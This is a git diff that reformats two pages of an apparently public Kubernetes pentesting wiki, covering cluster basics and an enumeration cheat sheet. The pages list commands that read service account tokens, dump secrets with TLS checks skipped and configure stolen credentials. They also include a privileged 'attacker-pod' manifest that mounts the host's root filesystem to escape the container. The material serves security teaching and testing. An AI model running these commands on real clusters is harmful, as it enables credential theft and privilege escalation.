+- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
+- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
+- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
+- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
+- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
+  - If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
+    - A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
+    - When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
+    - `minikube addons enable ingress`
 
 ### PKI infrastructure - Certificate Authority CA:
 
 ![](https://sickrov.github.io/media/Screenshot-66.jpg)
 
-* CA is the trusted root for all certificates inside the cluster.
-* Allows components to validate to each other.
-* All cluster certificates are signed by the CA.
-* ETCd has its own certificate.
-* types:
-  * apiserver cert.
-  * kubelet cert.
-  * scheduler cert.
+- CA is the trusted root for all certificates inside the cluster.
+- Allows components to validate to each other.
+- All cluster certificates are signed by the CA.
+- ETCd has its own certificate.
+- types:
+  - apiserver cert.
+  - kubelet cert.
+  - scheduler cert.
 
 ## Basic Actions
 
@@ -199,21 +186,21 @@ spec:
         app: mongodb
     spec:
       containers:
-      - name: mongodb
-        image: mongo
-        ports:
-        - containerPort: 27017
-        env:
-        - name: MONGO_INITDB_ROOT_USERNAME
-          valueFrom:
-            secretKeyRef:
-              name: mongodb-secret
-              key: mongo-root-username
-        - name: MONGO_INITDB_ROOT_PASSWORD
-          valueFrom: 
-            secretKeyRef:
-              name: mongodb-secret
-              key: mongo-root-password
+        - name: mongodb
+          image: mongo
+          ports:
+            - containerPort: 27017
+          env:
+            - name: MONGO_INITDB_ROOT_USERNAME
+              valueFrom:
+                secretKeyRef:
+                  name: mongodb-secret
+                  key: mongo-root-username
+            - name: MONGO_INITDB_ROOT_PASSWORD
+              valueFrom:
+                secretKeyRef:
+                  name: mongodb-secret
+                  key: mongo-root-password
 ---
 apiVersion: v1
 kind: Service
@@ -249,9 +236,8 @@ spec:
       nodePort: 30000
 ```
 
-{% hint style="info" %}
-This is useful for testing but for production you should have only internal services and an Ingress to expose the application.
-{% endhint %}
+> [!NOTE]
+> This is useful for testing but for production you should have only internal services and an Ingress to expose the application.
 
 **Example of Ingress config file**
 
@@ -265,12 +251,12 @@ metadata:
   namespace: kubernetes-dashboard
 spec:
   rules:
-  - host: dashboard.com
-    http:
-      paths:
-      - backend:
-          serviceName: kubernetes-dashboard
-          servicePort: 80
+    - host: dashboard.com
+      http:
+        paths:
+          - backend:
+              serviceName: kubernetes-dashboard
+              servicePort: 80
 ```
 
 **Example of secrets config file**
@@ -281,11 +267,11 @@ Note how the password are encoded in B64 (which isn't secure!)
 apiVersion: v1
 kind: Secret
 metadata:
-    name: mongodb-secret
+  name: mongodb-secret
 type: Opaque
 data:
-    mongo-root-username: dXNlcm5hbWU=
-    mongo-root-password: cGFzc3dvcmQ=
+  mongo-root-username: dXNlcm5hbWU=
+  mongo-root-password: cGFzc3dvcmQ=
 ```
 
 **Example of ConfigMap**
@@ -317,7 +303,7 @@ spec:
         - containerPort: 8081
         env:
         - name: ME_CONFIG_MONGODB_SERVER
-          valueFrom: 
+          valueFrom:
             configMapKeyRef:
               name: mongodb-configmap
               key: database_url
@@ -346,24 +332,23 @@ kube-public       Active   1d
 kube-system       Active   1d
 ```
 
-* **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes.
-* **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information
-* **kube-node-lease**: Determines the availability of a node
-* **default**: The namespace the user will use to create resources
+- **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes.
+- **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information
+- **kube-node-lease**: Determines the availability of a node
+- **default**: The namespace the user will use to create resources
 
 ```bash
 #Create namespace
 kubectl create namespace my-namespace
 ```
 
-{% hint style="info" %}
-Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
-
-```bash
-kubectl api-resources --namespaced=true #In a namespace
-kubectl api-resources --namespaced=false #Not in a namespace
-```
-{% endhint %}
+> [!NOTE]
+> Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
+>
+> ```bash
+> kubectl api-resources --namespaced=true #In a namespace
+> kubectl api-resources --namespaced=false #Not in a namespace
+> ```
 
 You can save the namespace for all subsequent kubectl commands in that context.
 
@@ -387,11 +372,11 @@ A **Secret** is an object that **contains sensitive data** such as a password, a
 
 Secrets might be things like:
 
-* API, SSH Keys.
-* OAuth tokens.
-* Credentials, Passwords (plain text or b64 + encryption).
-* Information or comments.
-* Database connection code, strings… .
+- API, SSH Keys.
+- OAuth tokens.
+- Credentials, Passwords (plain text or b64 + encryption).
+- Information or comments.
+- Database connection code, strings… .
 
 There are different types of secrets in Kubernetes
 
@@ -406,9 +391,8 @@ There are different types of secrets in Kubernetes
 | kubernetes.io/tls                   | data for a TLS client or server           |
 | bootstrap.kubernetes.io/token       | bootstrap token data                      |
 
-{% hint style="info" %}
-**The Opaque type is the default one, the typical key-value pair defined by users.**
-{% endhint %}
+> [!NOTE]
+> **The Opaque type is the default one, the typical key-value pair defined by users.**
 
 **How secrets works:**
 
@@ -416,8 +400,7 @@ There are different types of secrets in Kubernetes
 
 The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
 
-{% code title="secretpod.yaml" %}
-```yaml
+```yaml:secretpod.yaml
 apiVersion: v1
 kind: Secret
 metadata:
@@ -433,33 +416,32 @@ metadata:
   name: secretpod
 spec:
   containers:
-  - name: secretpod
-    image: nginx
-    env:
-      - name: SECRET_USERNAME
-        valueFrom:
-          secretKeyRef:
-            name: mysecret
-            key: username
-      - name: SECRET_PASSWORD
-        valueFrom:
-          secretKeyRef:
-            name: mysecret
-            key: password
-    volumeMounts:
-    - name: foo
-      mountPath: "/etc/foo"
+    - name: secretpod
+      image: nginx
+      env:
+        - name: SECRET_USERNAME
+          valueFrom:
+            secretKeyRef:
+              name: mysecret
+              key: username
+        - name: SECRET_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: mysecret
+              key: password
+      volumeMounts:
+        - name: foo
+          mountPath: "/etc/foo"
   restartPolicy: Never
   volumes:
-  - name: foo
-    secret:
-      secretName: mysecret
-      items:
-      - key: username
-        path: my-group/my-username
-        mode: 0640
+    - name: foo
+      secret:
+        secretName: mysecret
+        items:
+          - key: username
+            path: my-group/my-username
+            mode: 0640
 ```
-{% endcode %}
 
 ```bash
 kubectl apply -f <secretpod.yaml>
@@ -496,29 +478,27 @@ ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key
 
 By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
 
-{% code title="encryption.yaml" %}
-```yaml
+```yaml:encryption.yaml
 apiVersion: apiserver.config.k8s.io/v1
 kind: EncryptionConfiguration
 resources:
   - resources:
-    - secrets
+      - secrets
     providers:
-    - aescbc:
-        keys:
-        - name: key1
-          secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
-    - identity: {}
+      - aescbc:
+          keys:
+            - name: key1
+              secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
+      - identity: {}
 ```
-{% endcode %}
 
 After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines:
 
 ```yaml
-  containers:
+containers:
   - command:
-    - kube-apiserver
-    - --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
+      - kube-apiserver
+      - --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
 ```
 
 Scroll down in the volumeMounts:
@@ -547,12 +527,14 @@ Data is encrypted when written to etcd. After restarting your `kube-apiserver`,
     ```
     kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
     ```
+
 2.  Using the etcdctl commandline, read that secret out of etcd:
 
     `ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
 
     where `[...]` must be the additional arguments for connecting to the etcd server.
-3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
+
+3.  Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
 4.  Verify the secret is correctly decrypted when retrieved via the API:
 
     ```
@@ -569,28 +551,19 @@ kubectl get secrets --all-namespaces -o json | kubectl replace -f -
 
 **Final tips:**
 
-* Try not to keep secrets in the FS, get them from other places.
-* Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
-* [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
-* [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes\_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
+- Try not to keep secrets in the FS, get them from other places.
+- Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
+- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
+- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
 
 ## References
 
-{% embed url="https://sickrov.github.io/" %}
+{{#ref}}
+https://sickrov.github.io/
+{{#endref}}
 
-{% embed url="https://www.youtube.com/watch?v=X48VuDVv0do" %}
+{{#ref}}
+https://www.youtube.com/watch?v=X48VuDVv0do
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
similarity index 70%
rename from pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
index 358bdee06..10490838c 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
@@ -1,19 +1,6 @@
 # Kubernetes Enumeration
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Kubernetes Tokens
 
@@ -36,15 +23,15 @@ Every service account has a secret related to it and this secret contains a bear
 
 Usually **one** of the directories:
 
-* `/run/secrets/kubernetes.io/serviceaccount`
-* `/var/run/secrets/kubernetes.io/serviceaccount`
-* `/secrets/kubernetes.io/serviceaccount`
+- `/run/secrets/kubernetes.io/serviceaccount`
+- `/var/run/secrets/kubernetes.io/serviceaccount`
+- `/secrets/kubernetes.io/serviceaccount`
 
 contain the files:
 
-* **ca.crt**: It's the ca certificate to check kubernetes communications
-* **namespace**: It indicates the current namespace
-* **token**: It contains the **service token** of the current pod.
+- **ca.crt**: It's the ca certificate to check kubernetes communications
+- **namespace**: It indicates the current namespace
+- **token**: It contains the **service token** of the current pod.
 
 Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
 
@@ -52,11 +39,11 @@ The service account token is being signed by the key residing in the file **sa.k
 
 Default location on **Kubernetes**:
 
-* /etc/kubernetes/pki
+- /etc/kubernetes/pki
 
 Default location on **Minikube**:
 
-* /var/lib/localkube/certs
+- /var/lib/localkube/certs
 
 ### Hot Pods
 
@@ -68,16 +55,16 @@ If you don't know what is **RBAC**, **read this section**.
 
 ## GUI Applications
 
-* **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
-* **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
+- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
+- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
 
 ## Enumeration CheatSheet
 
 In order to enumerate a K8s environment you need a couple of this:
 
-* A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
-* The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
-* **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
+- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
+- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
+- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
 
 With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
 
@@ -112,9 +99,8 @@ GET /apis/apps/v1/watch/deployments  [DEPRECATED]
 
 They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
 
-{% hint style="danger" %}
-The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
-{% endhint %}
+> [!CAUTION]
+> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
 
 ### Using curl
 
@@ -130,9 +116,8 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
 # if kurl is still got cert Error, using -k option to solve this.
 ```
 
-{% hint style="warning" %}
-By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
-{% endhint %}
+> [!WARNING]
+> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
 
 ### Using kubectl
 
@@ -140,11 +125,9 @@ Having the token and the address of the API server you use kubectl or curl to ac
 
 By default, The APISERVER is communicating with `https://` schema
 
-{% code overflow="wrap" %}
 ```bash
 alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
 ```
-{% endcode %}
 
 > if no `https://` in url, you may get Error Like Bad Request.
 
@@ -165,8 +148,9 @@ kubectl get namespace --insecure-skip-tls-verify=true
 
 ### Current Configuration
 
-{% tabs %}
-{% tab title="Kubectl" %}
+{{#tabs }}
+{{#tab name="Kubectl" }}
+
 ```bash
 kubectl config get-users
 kubectl config get-contexts
@@ -176,8 +160,9 @@ kubectl config current-context
 # Change namespace
 kubectl config set-context --current --namespace=<namespace>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 If you managed to steal some users credentials you can **configure them locally** using something like:
 
@@ -196,19 +181,22 @@ kubectl config set-credentials USER_NAME \
 
 With this info you will know all the services you can list
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k api-resources --namespaced=true #Resources specific to a namespace
 k api-resources --namespaced=false #Resources NOT specific to a namespace
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get Current Privileges
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k auth can-i --list #Get privileges in general
 k auth can-i --list -n custnamespace #Get privileves in custnamespace
@@ -216,86 +204,101 @@ k auth can-i --list -n custnamespace #Get privileves in custnamespace
 # Get service account permissions
 k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' \
     --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
     "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
 
 You can learn more about **Kubernetes RBAC** in:
 
-{% content-ref url="kubernetes-role-based-access-control-rbac.md" %}
-[kubernetes-role-based-access-control-rbac.md](kubernetes-role-based-access-control-rbac.md)
-{% endcontent-ref %}
+{{#ref}}
+kubernetes-role-based-access-control-rbac.md
+{{#endref}}
 
 **Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
 
-{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
 
 ### Get Others roles
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get roles
 k get clusterroles
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
 kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get namespaces
 
 Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get namespaces
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -k -v https://$APISERVER/api/v1/namespaces/
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get secrets
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get secrets -o yaml
 k get secrets -o yaml -n custnamespace
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
 
 kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 If you can read secrets you can use the following lines to get the privileges related to each to token:
 
@@ -307,190 +310,230 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
 
 As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get serviceaccounts
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get Deployments
 
 The deployments specify the **components** that need to be **run**.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get deployments
 k get deployments -n custnamespace
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get Pods
 
 The Pods are the actual **containers** that will **run**.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get pods
 k get pods -n custnamespace
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get Services
 
 Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get services
 k get services -n custnamespace
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/api/v1/namespaces/default/services/
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get nodes
 
 Get all the **nodes configured inside the cluster**.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get nodes
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/api/v1/nodes/
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get DaemonSets
 
 **DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get daemonsets
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get cronjob
 
 Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get cronjobs
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
 kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get configMap
 
 configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get configmaps # -n namespace
 ```
-{% endtab %}
 
-{% tab title="API" %}
+{{#endtab }}
+
+{{#tab name="API" }}
+
 ```bash
-kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps 
+kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get Network Policies / Cilium Network Policies
 
-{% tabs %}
-{% tab title="First Tab" %}
+{{#tabs }}
+{{#tab name="First Tab" }}
+
 ```bash
 k get networkpolicies
 k get CiliumNetworkPolicies
 k get CiliumClusterwideNetworkPolicies
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Get Everything / All
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get all
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### **Get all resources managed by helm**
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### **Get Pods consumptions**
 
-{% tabs %}
-{% tab title="kubectl" %}
+{{#tabs }}
+{{#tab name="kubectl" }}
+
 ```bash
 k top pod --all-namespaces
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Escaping from the pod
 
@@ -518,22 +561,22 @@ metadata:
   namespace: default
 spec:
   volumes:
-  - name: host-fs
-    hostPath:
-      path: /
+    - name: host-fs
+      hostPath:
+        path: /
   containers:
-  - image: ubuntu
-    imagePullPolicy: Always
-    name: attacker-pod
-    command: ["/bin/sh", "-c", "sleep infinity"]
-    volumeMounts:
-      - name: host-fs
-        mountPath: /root
+    - image: ubuntu
+      imagePullPolicy: Always
+      name: attacker-pod
+      command: ["/bin/sh", "-c", "sleep infinity"]
+      volumeMounts:
+        - name: host-fs
+          mountPath: /root
   restartPolicy: Never
   # nodeName and nodeSelector enable one of them when you need to create pod on the specific node
   #nodeName: master
   #nodeSelector:
-  #  kubernetes.io/hostname: master 
+  #  kubernetes.io/hostname: master
   # or using
   #  node-role.kubernetes.io/master: ""
 ```
@@ -562,19 +605,8 @@ Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Pa
 
 ## References
 
-{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3" %}
